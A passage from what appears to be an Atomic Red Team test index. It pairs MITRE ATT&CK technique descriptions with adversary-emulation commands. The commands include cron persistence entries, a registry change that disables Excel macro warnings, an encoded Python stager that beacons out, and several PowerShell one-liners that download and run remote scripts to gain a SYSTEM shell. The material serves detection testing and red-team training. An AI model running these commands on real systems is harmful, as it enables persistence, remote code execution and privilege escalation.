          $file2 = "$env:Temp\a.exe"
          Remove-Item $file1 -ErrorAction Ignore
          Remove-Item $file2 -ErrorAction Ignore
        name: powershell
    - name: Mirror Blast Emulation
      auto_generated_guid: 24fd9719-7419-42dd-bce6-ab3463110b3c
      description: "Emulates the JS -> MSI chain of the MirrorBlast T505 campaign
        by executing an xlsm file designed. \nRequires the 32 bit version of Office
        to run. [MirrorBlast Campaign Analysis](https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies)\n"
      supported_platforms:
      - windows
      executor:
        command: |-
          Cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs"
          New-ItemProperty -Path Registry::HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Excel\Security -Name "VBAWarnings" -Value "1" -PropertyType DWORD -Force | Out-Null
          & '.\Excel 2016.lnk' "PathToAtomicsFolder\T1204.002\bin\mirrorblast_emulation.xlsm"
        cleanup_command: reg delete "HKCU\SOFTWARE\Microsoft\Office\16.0\Excel\Security"
          /v "VBAWarnings" /f
        name: powershell
  T1053.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c
      type: attack-pattern
      created: '2019-12-03T14:25:00.538Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1053.003
        url: https://attack.mitre.org/techniques/T1053/003
      - source_name: 20 macOS Common Tools and Techniques
        url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
        description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques
          Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Scheduled Task/Job: Cron'
      description: "Adversaries may abuse the <code>cron</code> utility to perform
        task scheduling for initial or recurring execution of malicious code.(Citation:
        20 macOS Common Tools and Techniques) The <code>cron</code> utility is a time-based
        job scheduler for Unix-like operating systems.  The <code> crontab</code>
        file contains the schedule of cron entries to be run and the specified times
        for execution. Any <code>crontab</code> files are stored in operating system-specific
        file paths.\n\nAn adversary may use <code>cron</code> in Linux or Unix environments
        to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "Monitor scheduled task creation from common utilities using
        command-line invocation. Legitimate scheduled tasks may be created during
        installation of new software or through system administration functions. Look
        for changes to tasks that do not correlate with known software, patch cycles,
        etc.  \n\nSuspicious program execution through scheduled tasks may show up
        as outlier processes that have not been seen before when compared against
        historical data. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
        through Discovery, and Lateral Movement. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1053.003
    atomic_tests:
    - name: Cron - Replace crontab with referenced file
      auto_generated_guid: 435057fb-74b1-410e-9403-d81baf194f75
      description: 'This test replaces the current user''s crontab file with the contents
        of the referenced file. This technique was used by numerous IoT automated
        exploitation attacks.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        command:
          description: Command to execute
          type: string
          default: "/tmp/evil.sh"
        tmp_cron:
          description: Temporary reference file to hold evil cron schedule
          type: path
          default: "/tmp/persistevil"
      executor:
        name: sh
        command: |
          crontab -l > /tmp/notevil
          echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
        cleanup_command: 'crontab /tmp/notevil

          '
    - name: Cron - Add script to all cron subfolders
      auto_generated_guid: b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0
      description: 'This test adds a script to /etc/cron.hourly, /etc/cron.daily,
        /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a
        schedule. This technique was used by the threat actor Rocke during the exploitation
        of Linux web servers.

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: string
          default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log
        cron_script_name:
          description: Name of file to store in cron folder
          type: string
          default: persistevil
      executor:
        elevation_required: true
        name: bash
        command: |
          echo "#{command}" > /etc/cron.daily/#{cron_script_name}
          echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
          echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
          echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
        cleanup_command: |
          rm /etc/cron.daily/#{cron_script_name} -f
          rm /etc/cron.hourly/#{cron_script_name} -f
          rm /etc/cron.monthly/#{cron_script_name} -f
          rm /etc/cron.weekly/#{cron_script_name} -f
    - name: Cron - Add script to /etc/cron.d folder
      auto_generated_guid: '078e69eb-d9fb-450e-b9d0-2e118217c846'
      description: 'This test adds a script to /etc/cron.d folder configured to execute
        on a schedule.

        '
      supported_platforms:
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: string
          default: echo '*/5     *       *       *       *       root    echo "Hello
            from Atomic Red Team"' > /tmp/atomic.log
        cron_script_name:
          description: Name of file to store in cron folder
          type: string
          default: persistevil
      executor:
        elevation_required: true
        name: sh
        command: 'echo "#{command}" > /etc/cron.d/#{cron_script_name}

          '
        cleanup_command: 'rm /etc/cron.d/#{cron_script_name} -f

          '
    - name: Cron - Add script to /var/spool/cron/crontabs/ folder
      auto_generated_guid: 2d943c18-e74a-44bf-936f-25ade6cccab4
      description: 'This test adds a script to a /var/spool/cron/crontabs folder configured
        to execute on a schedule. This technique was used by the threat actor Rocke
        during the exploitation of Linux web servers.

        '
      supported_platforms:
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: string
          default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log
        cron_script_name:
          description: Name of file to store in /var/spool/cron/crontabs folder
          type: string
          default: persistevil
      executor:
        elevation_required: true
        name: bash
        command: 'echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}

          '
        cleanup_command: 'rm /var/spool/cron/crontabs/#{cron_script_name} -f

          '
  T1559.001:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64
      type: attack-pattern
      created: '2020-02-12T14:09:53.107Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1559.001
        url: https://attack.mitre.org/techniques/T1559/001
      - source_name: Fireeye Hunting COM June 2019
        url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
        description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
          10, 2019.
      - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
          22, 2017.
        source_name: Microsoft COM
      - url: https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
        description: 'Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting
          Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3,
          2018.'
        source_name: ProjectZero File Write EoP Apr 2018
      - url: https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
        description: Nelson, M. (2017, November 16). Lateral Movement using Outlook's
          CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.
        source_name: Enigma Outlook DCOM Lateral Movement Nov 2017
      - url: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
        description: Nelson, M. (2017, January 5). Lateral Movement using the MMC20
          Application COM Object. Retrieved November 21, 2017.
        source_name: Enigma MMC20 COM Jan 2017
      modified: '2022-04-25T14:00:00.188Z'
      name: Component Object Model
      description: |-
        Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as  [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)

        Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_detection: "Monitor for COM objects loading DLLs and other modules not
        typically associated with the application.(Citation: Enigma Outlook DCOM Lateral
        Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012)
        or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed
        malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20
        COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects,
        especially those invoked by a user different than the one currently logged
        on. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Script: Script Execution'
      - 'Process: Process Creation'
      x_mitre_remote_support: true
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1053:
    technique:
      modified: '2024-03-01T15:29:46.832Z'
      name: Scheduled Task/Job
      description: |-
        Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)

        Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Prashant Verma, Paladion
      - Leo Loobeek, @leoloobeek
      - Travis Smith, Tripwire
      - Alain Homewood, Insomnia Security
      - Andrew Northern, @ex_raritas
      - Bryan Campbell, @bry_campbell
      - Zachary Abzug, @ZackDoesML
      - Selena Larson, @selenalarson
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor scheduled task creation from common utilities using
        command-line invocation. Legitimate scheduled tasks may be created during
        installation of new software or through system administration functions. Look
        for changes to tasks that do not correlate with known software, patch cycles,
        etc. \n\nSuspicious program execution through scheduled tasks may show up
        as outlier processes that have not been seen before when compared against
        historical data. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
        through Discovery, and Lateral Movement."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Containers
      x_mitre_version: '2.3'
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Container: Container Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      x_mitre_effective_permissions:
      - SYSTEM
      - Administrator
      - User
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
      created: '2017-05-31T21:30:46.977Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1053
        external_id: T1053
      - source_name: ProofPoint Serpent
        description: Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New
          Backdoor Targets French Entities with Unique Attack Chain. Retrieved April
          11, 2022.
        url: https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain
      - source_name: TechNet Task Scheduler Security
        description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved
          June 8, 2016.
        url: https://technet.microsoft.com/en-us/library/cc785125.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1059.002:
    technique:
      modified: '2024-03-01T19:06:05.126Z'
      name: 'Command and Scripting Interpreter: AppleScript'
      description: |-
        Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

        Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e "script here"</code>. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation: SentinelOne AppleScript)

        AppleScripts do not need to call <code>osascript</code> to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s <code>NSAppleScript</code> or <code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility.

        Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_contributors:
      - Phil Stokes, SentinelOne
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor for execution of AppleScript through <code>osascript</code> and usage of the <code>NSAppleScript</code> and <code>OSAScript</code> APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.

        Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      x_mitre_remote_support: false
      type: attack-pattern
      id: attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb
      created: '2020-03-09T14:07:54.329Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1059/002
        external_id: T1059.002
      - source_name: Apple AppleScript
        description: Apple. (2016, January 25). Introduction to AppleScript Language
          Guide. Retrieved March 28, 2020.
        url: https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html
      - source_name: SentinelOne macOS Red Team
        description: 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple
          APIs Without Building Binaries. Retrieved July 17, 2020.'
        url: https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/
      - source_name: SentinelOne AppleScript
        description: Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript
          For Attacking macOS. Retrieved July 17, 2020.
        url: https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/
      - source_name: Macro Malware Targets Macs
        description: Yerko Grbic. (2017, February 14). Macro Malware Targets Macs.
          Retrieved July 8, 2017.
        url: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1059.002
    atomic_tests:
    - name: AppleScript
      auto_generated_guid: 3600d97d-81b9-4171-ab96-e4386506e2c2
      description: "Shell Script with AppleScript. The encoded python script will
        perform an HTTP GET request to 127.0.0.1:80 with a session cookie of \"t3VhVOs/DyCcDTFzIKanRxkvk3I=\",
        unless 'Little Snitch' is installed, in which case it will just exit. \nYou
        can use netcat to listen for the connection and verify execution, e.g. use
        \"nc -l 80\" in another terminal window before executing this test and watch
        for the request.\n\nReference: https://github.com/EmpireProject/Empire\n"
      supported_platforms:
      - macos
      executor:
        command: 'osascript -e "do shell script \"echo \\\"import sys,base64,warnings;warnings.filterwarnings(''ignore'');exec(base64.b64decode(''aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbml0Y2ggfCBncmVwIC12IGdyZXAiCnBzID0gc3VicHJvY2Vzcy5Qb3BlbihjbWQsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUpCm91dCA9IHBzLnN0ZG91dC5yZWFkKCkKcHMuc3Rkb3V0LmNsb3NlKCkKaWYgcmUuc2VhcmNoKCJMaXR0bGUgU25pdGNoIiwgb3V0KToKICAgc3lzLmV4aXQoKQppbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODAnO3Q9Jy9sb2dpbi9wcm9jZXNzLnBocCc7cmVxPXVybGxpYjIuUmVxdWVzdChzZXJ2ZXIrdCk7CnJlcS5hZGRfaGVhZGVyKCdVc2VyLUFnZW50JyxVQSk7CnJlcS5hZGRfaGVhZGVyKCdDb29raWUnLCJzZXNzaW9uPXQzVmhWT3MvRHlDY0RURnpJS2FuUnhrdmszST0iKTsKcHJveHkgPSB1cmxsaWIyLlByb3h5SGFuZGxlcigpOwpvID0gdXJsbGliMi5idWlsZF9vcGVuZXIocHJveHkpOwp1cmxsaWIyLmluc3RhbGxfb3BlbmVyKG8pOwphPXVybGxpYjIudXJsb3BlbihyZXEsdGltZW91dD0zKS5yZWFkKCk7Cg==''));\\\"
          | python &\""

          '
        name: sh
  T1106:
    technique:
      modified: '2023-10-13T16:01:07.538Z'
      name: Native API
      description: |-
        Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.

        Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.

        Native API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)

        Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)

        Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_contributors:
      - Gordon Long, Box, Inc., @ethicalhax
      - Stefan Kanthak
      - Tristan Madani (Cybereason)
      x_mitre_deprecated: false
      x_mitre_detection: "Monitoring API calls may generate a significant amount of
        data and may not be useful for defense unless collected under specific circumstances,
        since benign use of API functions are common and may be difficult to distinguish
        from malicious behavior. Correlation of other events with behavior surrounding
        API function calls using API monitoring will provide additional context to
        an event that may assist in determining if it is due to malicious behavior.
        Correlation of activity by process lineage by process ID may be sufficient.
        \n\nUtilization of the Windows APIs may involve processes loading/accessing
        system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll,
        advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially
        to abnormal/unusual or potentially malicious processes, may indicate abuse
        of the Windows API. Though noisy, this data can be combined with other indicators
        to identify adversary activity. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Module: Module Load'
      x_mitre_remote_support: false
      type: attack-pattern
      id: attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670
      created: '2017-05-31T21:31:17.472Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1106
        external_id: T1106
      - source_name: MACOS Cocoa
        description: Apple. (2015, September 16). Cocoa Application Layer. Retrieved
          June 25, 2020.
        url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1
      - source_name: Apple Core Services
        description: Apple. (n.d.). Core Services. Retrieved June 25, 2020.
        url: https://developer.apple.com/documentation/coreservices
      - source_name: macOS Foundation
        description: Apple. (n.d.). Foundation. Retrieved July 1, 2020.
        url: https://developer.apple.com/documentation/foundation
      - source_name: OutFlank System Calls
        description: 'de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct
          System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.'
        url: https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
      - source_name: Redops Syscalls
        description: Feichter, D. (2023, June 30). Direct Syscalls vs Indirect Syscalls.
          Retrieved September 27, 2023.
        url: https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls
      - source_name: GNU Fork
        description: Free Software Foundation, Inc.. (2020, June 18). Creating a Process.
          Retrieved June 25, 2020.
        url: https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html
      - source_name: CyberBit System Calls
        description: Gavriel, H. (2018, November 27). Malware Mitigation when Direct
          System Calls are Used. Retrieved September 29, 2021.
        url: https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/
      - source_name: GLIBC
        description: glibc developer community. (2020, February 1). The GNU C Library
          (glibc). Retrieved June 25, 2020.
        url: https://www.gnu.org/software/libc/
      - source_name: LIBC
        description: Kerrisk, M. (2016, December 12). libc(7) — Linux manual page.
          Retrieved June 25, 2020.
        url: https://man7.org/linux/man-pages//man7/libc.7.html
      - source_name: Linux Kernel API
        description: Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API.
          Retrieved June 25, 2020.
        url: https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html
      - source_name: MDSec System Calls
        description: MDSec Research. (2020, December). Bypassing User-Mode Hooks and
          Direct Invocation of System Calls for Red Teams. Retrieved September 29,
          2021.
        url: https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/
      - source_name: Microsoft CreateProcess
        description: Microsoft. (n.d.). CreateProcess function. Retrieved December
          5, 2014.
        url: http://msdn.microsoft.com/en-us/library/ms682425
      - source_name: Microsoft Win32
        description: Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved
          March 15, 2020.
        url: https://docs.microsoft.com/en-us/windows/win32/api/
      - source_name: Microsoft NET
        description: Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15,
          2020.
        url: https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework
      - source_name: NT API Windows
        description: The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25,
          2020.
        url: https://undocumented.ntinternals.net/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1106
    atomic_tests:
    - name: Execution through API - CreateProcess
      auto_generated_guid: 99be2089-c52d-4a4a-b5c3-261ee42c8b62
      description: Execute program by leveraging Win32 API's. By default, this will
        launch calc.exe from the command prompt.
      supported_platforms:
      - windows
      input_arguments:
        source_file:
          description: Location of the CSharp source file to compile and execute
          type: path
          default: PathToAtomicsFolder\T1106\src\CreateProcess.cs
        output_file:
          description: Location of the payload
          type: path
          default: "%tmp%\\T1106.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: "#{source_file} must exist on system.\n"
        prereq_command: 'if (Test-Path "#{source_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{source_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1106/src/CreateProcess.cs" -OutFile "#{source_file}"
      executor:
        command: |
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:"#{output_file}" /target:exe "#{source_file}"
          %tmp%/T1106.exe
        name: command_prompt
    - name: WinPwn - Get SYSTEM shell - Pop System Shell using CreateProcess technique
      auto_generated_guid: ce4e76e6-de70-4392-9efe-b281fc2b4087
      description: Get SYSTEM shell - Pop System Shell using CreateProcess technique
        via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystem.ps1')
        name: powershell
    - name: WinPwn - Get SYSTEM shell - Bind System Shell using CreateProcess technique
      auto_generated_guid: 7ec5b74e-8289-4ff2-a162-b6f286a33abd
      description: Get SYSTEM shell - Bind System Shell using CreateProcess technique
        via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystemBind.ps1')
        name: powershell
    - name: WinPwn - Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation
        technique
      auto_generated_guid: e1f93a06-1649-4f07-89a8-f57279a7d60e
      description: Get SYSTEM shell - Pop System Shell using NamedPipe Impersonation
        technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/NamedPipe/NamedPipeSystem.ps1')
        name: powershell
    - name: Run Shellcode via Syscall in Go
      auto_generated_guid: ae56083f-28d0-417d-84da-df4242da1f7c
      description: |
        Runs shellcode in the current running process via a syscall.

        Steps taken with this technique
        1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
        2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
        3. Change the memory page permissions to Execute/Read with VirtualProtect
        4. Use syscall to execute the entrypoint of the shellcode

        - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#syscall)
